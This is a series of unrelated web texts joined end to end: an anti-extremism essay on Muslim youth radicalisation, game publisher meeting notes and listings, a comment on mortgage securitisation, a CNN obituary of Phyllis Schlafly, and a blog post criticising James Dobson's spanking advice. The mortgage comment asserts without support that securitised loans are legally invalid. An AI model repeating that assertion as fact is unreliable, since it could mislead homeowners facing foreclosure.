of Malcolm X and the distinction that Malcolm drew between the ‘house Negro’ and the ‘field Negro’ and he cannot help but feel that these mainstream scholars are far too entrenched with the powers-that-be to stand up against them. Not hearing anything from his local or national scholars in the physical world around him, he scours the virtual world instead, looking on the net for voices that will speak to his concerns and address his anger. And in this virtual world, he stumbles across chat-rooms and forums where, for the first time, he finds people who see the world his way. These people, aided by the anonymity of the internet and empowered by the false bravado that only a fake alias can give, finally make our young man feel home, and that he was right all along in his assessment. It is on these forums that he finds people who list nothing but the political faults of the Western world. It is on these forums where little children pretend to be brave men who can take on the ‘big bad wolf.’ And it is on these forums that he is introduced to ‘clerics who speak the truth’ and ‘fear none amongst men’, of legendary giants that even America fears and will do anything to silence (even if that means sending squads of assassins to murder one of their own citizens without trial). Whereas previously he had trouble finding anyone who would voice his view of the world, here, all the voices on these forums seem to be echoing the same message, spoken from the mouths of militants and circulated online by their testosterone-filled teenage cheerleaders. And in this worldview espoused by these militants, our young man finds great comfort and solace. According to the militants, every fault in the whole world emanates not from within, but from without. The Muslims are never to blame for anything. It is always the ‘West,’ and in particular ‘Amrika’. Local persecution of scholars in Muslim lands? ‘Amrika,’ because they were the ones who propped up the kings, presidents and emirs in the Muslim world in the first place. Bombings that kill innocent Muslims in the streets of Baghdad, or the mosques of Karachi, or the shrines of Najaf? ‘Amrika,’ through the use of false-flag operations conducted by American agents, or as a result of the wider chaos originally caused by once again, ‘Amrik’. The awful state of the economy in Muslim lands? You guessed it, ‘Amrika’, via the use of loans that the American-controlled IMF gave out and the economic policies that America put in place. It is a comforting vision, especially for a young teenager: a simple and self-serving view that reclaims the honor of his faith while laying blame on the feet of others. “It’s not our fault at all! We are always oppressed, always victimized, it’s all America’s fault,” he says to himself over and over again. And on the forums that he frequents, the constant interactions with twenty other kids from around the world, some writing secretly from their parent’s basement, some from their own ‘Star-Wars’ posters-lined bedrooms, this chatter begins to sound like the representative voice of the entire Muslim world. This young ‘victim’ does not realize that the ‘victim-mentality’ is not a motif of the Quran, nor do we find it ever verbalized in the seerah of our beloved Prophet. It is not a dignified mentality, and even if there are elements of truth in some portions of it, such an attitude does not befit a believer who believes in an All-Mighty Being who Hears and Sees all. Our Prophet suffered more at the hands of his detractors than any Muslim in our time, yet he maintained a moral dignity and an internal courage that would put to shame the entire paradigm of victim-mentality that these radicals espouse. The Internal Factors With regards to the internal factors, it is not likely that a mind well-grounded in authentic texts and traditions will gravitate towards acts of terrorism. Thus, it is no coincidence that one will be hard-pressed to find senior clerics, of any theological persuasion, who justify flying planes into building or strapping bombs onto one’s body in order to blow up innocent civilians. A radical’s mind could only have been exposed to cherry-picked religious texts along with their misinterpretations; typically verses from Surah al-Anfal and Surah al-Tawba (both of which were revealed in specific historic situations very different from our own). Such a mind is only versed in Prophetic traditions of a military nature, sheered of their context and shown in isolation from many other traditions that would help paint a more nuanced view. However, these are not the only verses and ahadith (the Prophetic traditions) pertaining to the topic of jihad. Many other verses, especially those that seem to conflict with their warped understanding of Surah al-Anfal and Tawba, are simply dismissed as belonging to the ‘Makkan’ phase of revelation. Many Prophetic traditions which would show that military action is not the only way to fight for the truth are simply bypassed or ignored. For every evidence that they quote, there is an almost surreal attempt to isolate that one verse or hadith from the entire corpus of Islamic texts and law. For these militants, it is as if each verse they cherry-pick was actually revealed for their immediate benefit. For them, it is as if every hadith that they quote was stated by the Prophet directly to them and in support of their world-view. Only a mind completely bereft from the necessary hermeneutical tools of usul al-fiqh (the procedure of deriving laws) and maqasid al-Shariah (understanding the goals of Islamic Law) can be so shallow. With regards to doctrines, a simplistic, black-and-white understanding of wala wa-l-bara is propagated by the extremists; one that the intellectually-challenged (of the ilk of George W. Bush) would have absolutely no difficulty understanding. “You’re either with us or against us”, both Bush and Awlaki pontificate. Yet, the real world that we live in is not as black and white as these Manichean camps would like it to be. A clear and simple argument can be made that on each and every issue, we should stand with the truth, regardless of which side that truth is on. And it is not uncommon that this truth is not on one side, but somewhere in between. In the context of the very verses that many militants use to justify their black-and-white understandings of wala wa-l-bara, one verse (8:72) specifically mentions that even if Muslims under attack ask for help, and reach out to you based on religious loyalties, you are not obliged to help them if that help will compromise your political alliances. Extrapolating from this, one can state that while American Muslims are with the Palestinians, Iraqis and Kashmiris in wanting freedom, safety and security for them, at the same time we cannot help them militarily if that help will compromise our own safety and the safety of our families and communities, or if such help would contradict our political alliances. We can still help our suffering brethren in many other ways, for example, by educating our fellow countrymen regarding the dismal plight of these people and how our own government has been, many times, complicit in perpetuating or even causing such predicaments. The point that I am stressing here is that a more nuanced and pragmatic reading of the Quran can also just as easily be done “ but it takes more wisdom, foresight and moral courage than many of these testosterone-filled youth are willing to undertake (and for the record, I firmly believe that one of the best ways to de-radicalize these young men is to help them get married early and encourage them to have kids, and I mean this in all seriousness). Muslims need to understand that anyone who approaches the Quran and Sunnah with preconceived notions, wishing to find justification for certain theological or legal opinions, can almost always do so. If one wishes to speak to the texts rather than allow the texts to speak to him, then only his imagination will be a limit to the opinion that he seeks to derive. With regards to our Islamic history and heritage, our overzealous youngster is told of a few romanticized legends of how a woman cried out for the Caliph Mutasim to come rescue her from the clutches of the enemy, or how Umar b. al-Khattab could not rest even if only one Muslim was in trouble, or how Salah al-Din al-Ayyubi almost single-handedly raised up an army to liberate Jerusalem from the clutches of the evil Crusaders. But this youngster never actually reads a book of Muslim history himself. If he did, he would find a very different story, a very human one. Yes, there is no doubt that there were times in our past when noble men achieved gallant feats and ordinary people faced almost impossible challenges, yet came out as heroes in the end. But, as with any human history, these examples are more the exceptions than the rule. Politically speaking, the Muslims suffered from as much intrigue, internal backstabbing, civil wars, bureaucratic inefficiencies, secret dealings, internecine warfare, bribery and corruption as just about any other culture and civilization. Were this youngster to read further, he would discover the almost constant insurrections that the Umayyads had to face from various Muslim insurgents, the political intrigues and the civil wars fought multiple times within the Abbasids, the alliances that the Taifa Rulers of Andalus regularly formed with Christian princes against fellow Muslims in order to retain power, the rivalries and fratricide of the Ottoman Sultans, and many, many, many more such sordid facts facts that are not taught in Islamic Sunday school. Most of the armies that were harnessed and prepared in our fourteen centuries of Islamic history were actually gathered to fight other Muslims for political or material gain, and not to fight the ‘inglorious infidel’. Muslim societies of classical and medieval times struggled with many of the same issues that their modern counterparts do (albeit to different levels), of societal corruption and moral decay and religious indifference. If there were even prostitutes in the holy city of Madinah during the Prophetic era (as our source books clearly mention), does one believe that later societies would somehow be better than our ‘pious predecessors’? What a thorough reading of our history shows us is that our societies and people were not angels, but simply humans. Yes, there was much good as well, and there is no denying that having a Caliphate that ruled according to Islamic law led to a society of greater Islamic accomplishments than what can be obtained in our times. But by the same token, because we live in an age devoid of a Caliphate, the good that does occur in our era is of a different type, and the endeavors and struggles of our times will inevitably form its own legends and heroes for future generations. It is immature and dangerous to over-glorify our past. By painting an imaginary and overly-romanticized picture of an Islamic epoch, it is easier for misguided clerics to convince energetic but naïve youngsters to reclaim and resuscitate such a fantasy, no matter what the cost might be. I have no doubt that Umar AbdulMutallab saw a level of academic excellence at AlMaghrib that he would be hard-pressed to find anywhere else in the Western world. I also have no doubt that he was highly impressed with the scholastic content of our seminars. However, in the end, what was important to him was not what he saw, but what he didn’t see. And what he didn’t see was an exposition and condemnation of the role our own countries play in spreading terror around the world. What he didn’t see were explicit solutions being offered in light of the current situation of the Ummah. In other words, what he didn’t hear was a discourse regarding the current political and social ills that he felt so passionately about, and a frank dialogue about the Islamic method for correcting such ills. And in that vacuüm, where neither AlMaghrib nor other mainstream voices had anything substantive to offer, the voices of radical extremism proved to be the only bait dangling in front of his eyes. For him, there never was a competition between Orthodox Islam and militancy; there never was an ‘either-or‘ choice to be made because these two visions of Islam (from his perspective) were completely independent of one another. Each one discussed different topics and each was active in a different arena. So convinced was he by that message of radicalism that he was willing to give up his life for it, not realizing that living one’s life for the sake of God is far more difficult than committing suicide for His sake (as if the latter can ever truly be for the sake of God!). By allowing radicals to speak on behalf of the voiceless, we who remained silent simply lost the battle for the hearts and minds of people such as Umar. If we truly wish to fight radical ideas amongst our youth; if we wish to persuade them away from rash measures drawn from raw emotions, and to persuade them to act upon wisdom and perform real acts of courage,then the first step that we will have to take is to become more vocal about the grievances that drive young men to acts of desperation. We will need to be frank about the role that our governments play in ruining the freedoms and happiness that specific societies around the world deserve. And after discussing these woes, we will need to educate our youth about the proper way forward in solving them: away from foolish and un-Islamic militancy, and towards education, political activism and other positive channels. Those who choose to take on this task will have much to worry about for themselves. They will have to brave the attention and subsequent fury of a fear-mongering media empire that loves to demonize any who dares disagree with its own romantic notion of a lost American utopia. These individuals will have to put their trust in Allah as they fight legal and political battles against their own governments and law enforcement agencies, as they themselves are wiretapped, monitored, harassed, baited and perhaps even jailed merely because they state the obvious: that it is our own country’s domestic and foreign policies that are the greatest source of the anger and resentment fueling radicalism. It is an awkward position to be in; for some, it appears to be a hopeless battle. How can one simultaneously fight against a powerful government, a pervasive and sensationalist-prone media, and a group of overzealous rash youth who are already predisposed to reject your message because they view you as being a part of the establishment (while, ironically, the ‘establishment’ never ceases to view you as part of the radicals)? But there really is no other alternative. We need to protect our religion for our children after us, and we need to preserve what we can of the freedoms this country still offers us. And while I am skeptical that America will ever revert to its innocent pre-9/11 state of affairs; still, despite all that has occurred to change this country, America remains far better than any European equivalent, and we need to appreciate and cherish this fact even as we struggle to balance our loyalties between the requirements of our faith and those that are increasingly being imposed upon us by our country. The journey ahead of us is long and difficult, and the task is well beyond simply acknowledging the root cause of anger. Real and tangible solutions must be offered, and we must assess the pros and cons of any step that we undertake. This is but one step, and many more arduous miles lie ahead. But even the journey of a thousand miles must begin with one step. To be continued. Image courtesy artcornwall.org -Do Me a Favor, Prince [Monday Meeting Notes] Monday Meeting, News Another fine piece of art from the Prince’s Gambit card set by Mark Kelly. This time, of course, it’s the Sabbat, which makes a lot of sense since part of the game is to figure out who among those playing is the Sabbat infiltrator or infiltrators. There’s more info down below in the BLURBS! section about the Prince’s Gambit Kickstarter, if you want to check it out. Speaking of Kickstarters, somebody asked me what kinds of KSs I have backed and what compels me to back them. Which was a very different sort of question than I usually get asked, so thanks! So, for me, I’ll back if the project is for a property I’m interested in, or if the KS is for something that couldn’t get made any other way. Sometimes those two coincide. So, I just got in the giant, and I mean in dimensions, Judges’ Guild book by Goodman Games that reprints a mess o’ JG material at that “tabloid” size they published in back when I started out with D&D, and I just received my Unknown Armies books, from Atlas Games, that I backed because amazingly I never had a UA book in my game collection. Outside the industry, I absolutely had to back the MST3K revival KS, which might have fit into the next category, but honestly, I never thought it would fail. But, in that second category, I backed MASHed, RPing in the Korean War by Mark Plemmons, which despite it having a perfect jewel of a triage system driving the operating room tension that was key to MASH, is the sort of ultra-focused game that might not have been made without KS. Similarly, but outside RPGs, I backed Chris Moeller’s KS that he ran several years ago to fund the creation of the third graphic novel in his Iron Empires series after the mainstream comic book publishers wouldn’t touch it. And sometimes, if the KS is just so chock full of Stretch Goal stuff then I just have to pledge, even though I don’t “need” more stuff. The sculpts for the Rising Sun game were one of those things that were too cool, and in such quantity, that I couldn’t say no. Our meetings today were mostly about process and getting things done. First Eddy and I went through a lot of the efforts he is going through setting up his schedule and his move to Ireland. Then we had our Onyx staff meeting, and that was also about all the projects we are working on, the differences between our properties and our licensed ones, and whether anyone expects us to respond to every comment Tweeted about us. (The answer is no, we have work to do). Mirthful Mike Chaney asked me to remind everyone that we are still looking for artists, and frankly we always will be! If you are interested, you can email your interest and examples of your best work to him at: onyxpathart@gmail.com Now, here’s the important part. We want any of you who are considering sending some samples to Mirthful Mike to know that you have just as good a chance to get work with us, and to continue to work with us, as any other artist, regardless of gender, race, creed, or anything about the person you are. We’re interested in awesome illustrations, and if you can do that, and deliver them on deadline, then that’s what matters to us. And let me stress, because we want you to hear us, if you’ve been unable to break into illustration because of any of those factors, we want you to know that we want you here working with us. Some people will ask why I felt the need to stress that. Well, because it’s important for aspiring artists who’ve had the door slammed in their faces because of who they are to know that the door we have opened isn’t just open, but that we’re waving them in because we want to see what kind of artwork they can do. Then it is up to the artwork to convince us to hire the artist. There are other ways to phrase this, and other ways to try and get more diversity into this thing of ours. This is what we are doing right now, and how we are phrasing it. BLURBS! KICKSTARTER! The Prince’s Gambit casual vampire card game Kickstarter continues to roll with over 1100 backers! We’re almost at the Stretch Goal for adding the Independent Clan Ravnos and then more new art, with more cool rewards yet to come. So please check it out: https://www.kickstarter.com/projects/200664283/princes-gambit-casual-vampire-card-game ! Designed by long-time Vampire: the Masquerade tabletop RPG developer Justin Achilli, Prince’s Gambit is a fast-paced social deduction game set within the world of Vampire, but which requires no special knowledge to play. Players must cooperate to gain the favor of the Prince while deducing who among them are secretly the traitorous Sabbat infiltrators. Next, the Monarchies of Mau KS is scheduled come after Gambit. ON SALE! Looking for our Deluxe or Prestige Edition books? Here’s the link to the press release we put out about how Onyx Path is now selling through Indie Press Revolution: http://theonyxpath.com/press-release-onyx-path-limited-editions-now-available-through-indie-press-revolution/ You can now order wave 2 of our Deluxe and Prestige print overrun books, including Deluxe Mage 20th Anniversary, and Deluxe V20 Dark Ages! From the massive Chronicles of Darkness: Dark Eras main book, we have pulled this single chapter, Dark Eras: Beneath the Skin (Demon and Skinchangers 1486-1502 Aztec Empire). Ahuitzotl sits on the throne at the height of the Aztec Empire, overseeing his sorcerer-priests’ sacrifices and the endless flower wars his jaguar and eagle warriors carry out in his name to keep the altars well-supplied with victims. The gears of the Aztec Empire turn smoothly and inexorably, but not everything is what it pretends to be. Skinchangers take the shapes of animals to run the wilds or bring down human prey, the Unchained cobble together identities from stolen lives, and stranger things still lurk in the deserts and jungles beyond the walls of Tenochtitlan. Available Wednesday in PDF and physical copy PoD versions on DTRPG! From the massive Chronicles of Darkness: Dark Eras main book, we have pulled this single chapter, Dark Eras: Into the Cold (Demon: the Descent 1961 Berlin). East Germany erects a wall against its Western counterpart, turning West Berlin into an island within its own country. As the Cold War heats up, demons find themselves the targets of increasing human scrutiny, and begin to realize that the God-Machine’s plans didn’t end with the War. Available Wednesday in PDF and physical copy PoD versions on DTRPG! The splendor and horror of Rio is unwrapped! Cursed Necropolis: Rio for Mummy: the Curse is on sale in PDF and PoD versions: http://www.drivethrurpg.com/product/205257/Cursed-Necropolis-Rio Beneath the splendor of Rio de Janeiro seethes a hotbed of occult activity. Over a score of mummies keep their tombs in Rio, their presence seeping into the soil and stones and souls of the city. Over all this reigns the infamous Teshra-Gemet, the pretender Pharaoh. The city of Rio births marvels both bright and dark… and you never know which kind you have until it’s too late. Cursed Necropolis: Rio contains: The secrets and schemes of Rio’s Arisen. New Utterances, from the perception usurping Horse and Rider to the cleansing fire of Baal’s Due. “The Serpent’s Tooth,” an all-new adventure to introduce players to the conflicts and power plays of Rio de Janeiro. Beasts are added to Hunter: the Vigil with Hunter: Tooth and Nail, coming atcha in PDF and physical book Pod versions on DriveThruRPG.com! http://www.drivethrurpg.com/product/204066/Hunter-Tooth-and-Nail Tooth and Nail is a bonus chapter/companion book to the previous released Hunter: Mortal Remains that explores antagonists inspired by the Beast: the Primordial RPG. Hunter: Tooth and Nail includes: Fiction and story hooks to bring these beasts of legend to your Hunter: The Vigil chronicle. chronicle. New bestial Dread Powers. New Compacts and Conspiracies which hunt the monsters, but also sometimes hunt the zealous heroes that hunt as well. The Secrets of the Covenants for Vampire: the Requiem 2nd REVEALED this Wednesday on DTRPG! Physical copy PoD version coming to DTRPG: http://www.drivethrurpg.com/product/199280/Secrets-of-the-Covenants Vampires gather under many banners. But five have endured the tumult of Western history better than any other. The Carthian Movement. The Circle of the Crone. The Invictus. The Lancea et Sanctum. The Ordo Dracul. Each has its fierce devotees, its jealous rivals, and its relentless enemies. Now,for the first time, the covenants speak for themselves. This book includes: A variety of stories from each of the covenants, all told in their own words. Never-before revealed secrets, like the fate of the Prince of New Orleans. New blood sorcery, oaths, and other hidden powers of the covenants. From the massive Chronicles of Darkness: Dark Eras main book, we have pulled this single chapter, Dark Eras: Fallen Blossoms (Hunter 1640-1660 Japan). Japan is moving into the Edo Period. New laws and new ways of thinking wash over the land, and with a new order come new threats to humanity. Take a look at the Vigil in a time where samurai transition from warlords to bureaucrats, Japan massively and lethally rejects outside influence, and when Edo rapidly grows into a world power. Continuing our individual Dark Eras chapters, we offer you Dark Eras: Fallen Blossoms on in PDF and physical copy PoD versions on DTRPG! http://www.drivethrurpg.com/product/205483/Dark-Eras-Fallen-Blossoms-Hunter-the-Vigil From the massive Chronicles of Darkness: Dark Eras main book, we have pulled this single chapter, Dark Eras: Doubting Souls (Hunter 1690-1695 Salem). Immigrants and tribes struggled to co-exist on the Eastern Seaboard in the ever-expanding Colonies. Violent clashes, supernatural beliefs, and demonic influences spelled disaster for Salem Village and its surrounding towns, while others fought werewolves and vampires on the frontier. With so much at risk, only god-fearing men and women were deemed innocent — and those were few indeed. Available in PDF and physical copy PoD versions on DTRPG: http://www.drivethrurpg.com/product/204372/Dark-Eras-Doubting-Souls-Hunter-the-Vigil From the massive Chronicles of Darkness: Dark Eras main book, we have pulled this single chapter, Dark Eras: The Bowery Dogs (Werewolf 1969-1979 NYC). New York City in the 1970s. Crime. Drugs. Gang violence. Vast economic disparity. And werewolves. It’s a lean, ugly time to be alive, and the lone wolf doesn’t stand a chance out there. In the end, all you really have is family. Available in PDF and physical copy PoD versions on DTRPG: http://www.drivethrurpg.com/product/203762/Dark-Eras-The-Bowery-Dogs-Werewolf-the-Forsaken The Locker is open; the Chronicles of Darkness: Hurt Locker, that is! PDF and physical copy PoDs are now available on DTRPG! http://www.drivethrurpg.com/product/199275/Chronicles-of-Darkness-Hurt-Locker Hurt Locker features: Treatment of violence in the Chronicles of Darkness . Lasting trauma, scene framing, and other tools for making your stories hurt. . Lasting trauma, scene framing, and other tools for making your stories hurt. Many new player options, including Merits, supernatural knacks, and even new character types like psychic vampires and sleeper cell soldiers. Expanded equipment and equipment rules. Hurt Locker requires the Chronicles of Darkness Rulebook or any other standalone Chronicles of Darkness rulebook such as Vampire: The Requiem, Werewolf: The Forsaken, or Beast: The Primordial to use. From the massive Chronicles of Darkness: Dark Eras main book, we have pulled this single chapter, Dark Eras: Ruins of Empire (Mummy 1893-1924). Perhaps the quintessential era of the mummy in the minds of Westerners, this period saw the decline of the two greatest empires of the age: British and Ottoman. Walk with the Arisen as they bear witness to the death of the Victorian age, to pivotal mortal discoveries in Egypt, and to the horrors of the Great War. Available in PDF and physical copy PoD versions on DTRPG. http://www.drivethrurpg.com/product/178801/Dark-Eras-Ruins-of-Empire-Mummy-the-Curse From the massive Chronicles of Darkness: Dark Eras main book, we have pulled this single chapter, Dark Eras: The Sundered World (Werewolf and Mage 5500-5000 BCE). At the birth of civilization, in the shadow of the Fall, the Awakened stand as champions and protectors of the agricultural villages spread across the Balkans. In a world without a Gauntlet, where Shadow and flesh mingle, the steady taming of the world by humanity conflicts with the half-spirit children of Father Wolf. Available in PDF and physical copy PoD versions on DTRPG. http://www.drivethrurpg.com/product/202272/Dark-Eras-The-Sundered-World-Werewolf-the-Forsaken-Mage-the-Awakening Night Horrors: Conquering Heroes for Beast: the Primordial is available now as an Advance PDF: http://www.drivethrurpg.com/product/202615/Night-Horrors-Conquering-Heroes This book includes: An in-depth look at how Heroes hunt and what makes a Hero, with eleven new Heroes to drop into any chronicle. A brief look at why Beasts may antagonize one another, with seven new Beasts to drop into any chronicle. Rules for Insatiables, ancient creatures born of the Primordial Dream intent on hunting down Beasts to fill a hunger without end, featuring six examples ready to use in any chronicle. CONVENTIONS! Discussing GenCon plans. August 17th – 20th, Indianapolis. Every chance the booth will actually be 20? x 30? this year that we’ll be sharing with friends. We’re looking at new displays this year, like a back drop and magazine racks for the brochure(s). In November, we’ll be at Game Hole Con in Madison, WI. More news as we have it, and here’s their website: https://www.gameholecon.com/ And now, the new project status updates! DEVELOPMENT STATUS FROM ROLLICKING ROSE (projects in bold have changed status since last week): First Draft (The first phase of a project that is about the work being done by writers, not dev prep) Exalted 3rd Novel by Matt Forbeck (Exalted 3rd Edition) Trinity Continuum: Aeon Rulebook (The Trinity Continuum) M20 Gods and Monsters (Mage: the Ascension 20th Anniversary Edition) M20 Book of the Fallen (Mage: the Ascension 20th Anniversary Edition) Ex Novel 2 (Aaron Rosenberg) (Exalted 3rd Edition) C20 Novel (Jackie Cassada) (Changeling: the Dreaming 20th Anniversary Edition) Pugmire Fiction Anthology (Pugmire) Monarchies of Mau Early Access (Pugmire) Hunter: the Vigil 2e core (Hunter: the Vigil 2nd Edition) DtD Night Horrors: Enemy Action (Demon: the Descent) The Realm (Exalted 3rd Edition) Dragon-Blooded (Exalted 3rd Edition) Arms of the Chosen (Exalted 3rd Edition) Redlines -People need to understand exactly what was going on before forming conclusions.The layers of the securization process go very deep. In simple terms: 1. Bank lends you the money 2. They sell the loan into securization 3. The loan is then bundled with many other similar loans 4, Then the whole bundle is divided into dozens if not hundreds of pieces and sold to investors. 5. The investors then hold, sell, trade, whatever is their fancy 6. Pieces of your loan go from party to party. 7. Folks also short the securization, which in effect creates double the amount of long holders on that piece of the loan, offset by those who are short your loan. 8. This process repeats itself and you have 5 times your loan held by investors offset by four times your loan being short. In effect your loan is being paid to five different investment pool parties and four other investment pool parties are also profferring up payments on your loan along with yours to even it all out. (possibly exaggerated) 9. All along, the legal requirements for transferring ownership of the loan are ignored. Thats because there is no true distinct owner of the loan. Since they didn't bother naming the true owner before hypothecating the loans, these loans are truly invalid under contact law. The banks are just acting as agents of the trust when they foreclose. The trust is just a nominee and can't be an owner under the law. These means neither the bank nor the trust are able to truly prove ownership. I said long ago the only solution was for the fed to buy these loans and refinance them at current market values. Banks could have continued servicing them to earn their money. A $100,000 loan modfied down to $70,000 still means a $135,000 total repayment at 5% interest. This could have allowed most people to keep their homes and also would set the ground for newly valid mortgage contracts. And the government could have even made a profit on it and saved the economy in one quick swoop. Proves they are not friends of the people. -Story highlights Phyllis Schlafly, a prominent social conservative leader for decades, has passed away The 1970's-era ERA foe died at 92 Washington (CNN) Phyllis Schlafly, a prominent anti-feminist and early leader of the social conservative movement, died Monday at the age of 92 at her home in St. Louis. Schlafly, an outspoken voice against the liberalism of the 1960's and 1970's, was a towering figure in what emerged as the modern religious right. Her death was confirmed by the Eagle Forum, the Missouri-based advocacy organization she led. "Her focus from her earliest days until her final ones was protecting the family, which she understood as the building block of life. She recognized America as the greatest political embodiment of those values," the statement read. "From military superiority and defense to immigration and trade; from unborn life to the nuclear family and parenthood, Phyllis Schlafly was a courageous and articulate voice for common sense and traditional values." Schlafly was most well-known for her work fighting the Equal Rights Amendment in the 1970's, emerging as one of the leading female critics of the feminist movement. Photos: History of the ERA Photos: History of the ERA The feminist activists of the 1960s, '70s and early '80s weren't the first to push for an Equal Rights Amendment. Suffragist leader Alice Paul, second from right, fought hard to pass the 19th Amendment -- which earned women the right to vote in 1920. She drafted the first ERA and introduced it to Congress in 1923. Hide Caption 1 of 12 Photos: History of the ERA In 1972, the House and Senate passed the ERA by the necessary two-thirds votes before sending it to state legislatures for ratification. Three-quarters of the states needed to ratify it, but the ERA fell three states short by its 1982 deadline. Among those where it failed was Florida, where supporters voiced their disapproval after the state Senate voted 22-16 against the ERA in June 1982. Hide Caption 2 of 12 Photos: History of the ERA Gloria Steinem, arguably the most recognized name and face in feminist activism, was among the key forces behind the ERA effort in the '70s and '80s. Although it wasn't ratified, most men and women were pro-ERA, Steinem says. She recently took a break from writing her latest book to join a gathering in support of the new ERA Coalition and celebrate the release of "Equal Means Equal," written by coalition founder and director Jessica Neuwirth. Hide Caption 3 of 12 Photos: History of the ERA Women's rights activist, poet and writer Robin Morgan -- seen here during a women's liberation conference in New York in 1970 -- was also among the crowd at the fundraiser and book launch at Manhattan's Yale Club. Morgan's 1970 anthology, "Sisterhood Is Powerful," helped galvanize a movement. Hide Caption 4 of 12 Photos: History of the ERA President Richard Nixon endorsed the ERA after it was adopted by both houses of Congress in 1972. Thirty-five of the needed 38 states ratified the ERA by its 1982 deadline. The latest efforts to revive the ERA have included legislation that would lift the deadline or start the ratification process from scratch. Hide Caption 5 of 12 Photos: History of the ERA The face of ERA opposition during the last big go-round was Phyllis Schlafly, the conservative activist who founded the Eagle Forum. Now 90, she says the ERA is "dumb and offensive" and that the new push for it is "a colossal waste of time." Schlafly, seen in this 1975 photo, once warned that the ERA would lead to same-sex marriage and women being drafted into combat. She also said it It would threaten families -- an argument she still makes. Hide Caption 6 of 12 Photos: History of the ERA Schlafly led protests against the ERA, including this one at the White House in 1977. The group, about 200 strong, was protesting then-first lady Rosalyn Carter's campaign for the ERA. Amendment supporters like Eleanor Smeal, president of the Feminist Majority Foundation, say their real enemy was never Schlafly, but big business and insurance companies. Hide Caption 7 of 12 Photos: History of the ERA Democratic Sen. Ted Kennedy speaks at an ERA fundraising dinner in Washington in 1980. Kennedy spent more than three decades as a champion for the amendment in Congress. Hide Caption 8 of 12 Photos: History of the ERA Eleanor Smeal, then-president of the National Organization for Women, left, and first lady Betty Ford attend an ERA rally on the steps of the Lincoln Memorial in 1981. Hide Caption 9 of 12 Photos: History of the ERA From left, Rep. Gwen Moore, Sen. Bob Menendez and Rep. Carolyn Maloney hold a news conference in 2010 outside the U.S. Capitol to call for passage of the ERA. The amendment has been introduced in nearly every session of Congress since 1923. Hide Caption 10 of 12 Photos: History of the ERA ERA supporters like to quote U.S. Supreme Court Justice Antonin Scalia, who told California Lawyer in a January 2011 issue: "Certainly the Constitution does not require discrimination on the basis of sex. The only issue is whether it prohibits it. It doesn't." Hide Caption 11 of 12 Photos: History of the ERA Last April, Scalia appeared at the National Press Club beside his judicial polar opposite -- and friend -- Supreme Court Justice Ruth Bader Ginsburg. The two were asked how they would amend the Constitution, if they could. Ginsburg, seen here at an annual Women's History Month event at the U.S. Capitol in March, didn't hesitate: "If I could choose an amendment to add to this Constitution, it would be the Equal Rights Amendment," she said. Hide Caption 12 of 12 Schlafly, until her death, remained in the political arena and recently made the case for electing Donald Trump president. On Monday night the Republican nominee eulogized Schlafly in a statement. Read More -Dobson's history of perverse and shocking ideas about raising children is well-documented, but has escaped much media scrutiny. From Dobson's book "The Strong Willed Child": "When I told Sigmund [the family dog] to leave his warm seat and go to bed, he flattened his ears and slowly turned his head toward me. He deliberately braced himself by placing one paw on the edge of the furry lid, then hunched his shoulders, raised his lips to reveal the molars on both sides, and uttered his most threatening growl. That was Siggie's way of saying. "Get lost!" "I had seen this defiant mood before, and knew there was only one way to deal with it. The ONLY way to make Siggie obey is to threaten him with destruction. Nothing else works. I turned and went to my closet and got a small belt to help me 'reason' with Mr. Freud." . . . "What developed next is impossible to describe. That tiny dog and I had the most vicious fight ever staged between man and beast. I fought him up one wall and down the other, with both of us scratching and clawing and growling and swinging the belt. I am embarrassed by the memory of the entire scene. Inch by inch I moved him toward the family room and his bed. As a final desperate maneuver, Siggie backed into the corner for one last snarling stand. I eventually got him to bed, only because I outweighed him 200 to 12!" ... "But this is not a book about the discipline of dogs; there is an important moral to my story that is highly relevant to the world of children. JUST AS SURELY AS A DOG WILL OCCASIONALLY CHALLENGE THE AUTHORITY OF HIS LEADERS, SO WILL A LITTLE CHILD -- ONLY MORE SO." "[I]t is possible to create a fussy, demanding baby by rushing to pick him up every time he utters a whimper or sigh. Infants are fully capable of learning to manipulate their parents through a process called reinforcement, whereby any behavior that produces a pleasant result will tend to recur. Thus, a healthy baby can keep his mother hopping around his nursery twelve hours a day (or night) by simply forcing air past his sandpaper larynx." Keep your children far away from Dobson - and anyone who follows his teachings. On p.15 Dobson tells the story of a mother who spanks her 5 year old daughter and locks her in the garage for throwing some stones at cars. On p.18 he tells the story of a mother who slaps her 18 month old 9 separate times for reaching for a candy dish. On p.20 he tells the story of a mother who counts to three "and if the kids had not minded by then, they would have to face the wooden spoon." On p.61 Dobson says to spank a 6 year old for calling his parents "hot dog" or "moose" and on p.63 Dobson says to spank a 7 year old for lying. . . . On p. 135 Dobson is asked this question: "Q: How long do you think a child should be allowed to cry after being punished or spanked? Is there a limit? A: Yes, I believe there should be a limit. As long as the tears represent a genuine release of emotion, they should be permitted to fall. But crying can quickly change from inner sobbing to an expression of protest aimed at punishing the enemy. Real crying usually lasts two minutes or less but may continue for five. After that point, the child is merely complaining, and the change can be recognized in the tone and intensity of his voice. I would require him to stop the protest crying, usually by offering him a little more of whatever caused the original tears." On p.136 Dobson recommends using a switch or paddle to beat children. (link above) On p.137 Dobson says "The spanking may be too gentle. If it doesn't hurt, it doesn't motivate a child to avoid the consequence next time. A slap with the hand on the bottom of a diapered two-year-old is not a deterrent to anything. Be sure the child gets the message." One can only imagine with horror what goes in this man's household. Sick and crazy. More here if you want to be even more throughly repelled. But this will almost - almost- make you feel sorry for the man: A recent profile of Dobson sheds some light on these questions. As it turns out, Dobson’s parents physically and mentally abused him as a child, and he once got beaten up in school by a kid even Dobson admits was widely acknowledged to be a “sissy.” The article in a Denver magazine called “5280″ makes Dobson’s mother, Myrtle, sound like a real piece of work. Notes writer Eileen Welsome: Myrtle [tag]Dobson[/tag] was an amiable and social woman, but she didn’t hesitate to whack her son with a shoe or belt when she felt it was required. Consequently, Dobson writes, he learned at an early age to stay out of striking distance when he back-talked to his mother. One day he made the mistake of mouthing off when she was only four feet away and heard a 16-pound girdle whistling through the air. “The intended blow caught me across the chest, followed by a multitude of straps and buckles wrapping themselves around my midsection.” The girdle incident did not dampen his defiance, however. One evening, after Dobson’s mother forbid him from going to a dance, the recalcitrant teenager told her that he was going anyway; she picked up the telephone and called her husband. “I need you,” she said. The article continues: “‘What happened in the next few days shocked me down to my toes,’ writes Dobson.” His father canceled the next four years’ worth of speaking engagements, put the Oklahoma house up for sale, and took a pastor’s job in San Benito, Texas, a small town near the Mexican border. Dobson had two years of high school left, and when he started classes he found himself the target of a couple of bullies. Rather than turn the other cheek, Dobson wheeled around and threw his 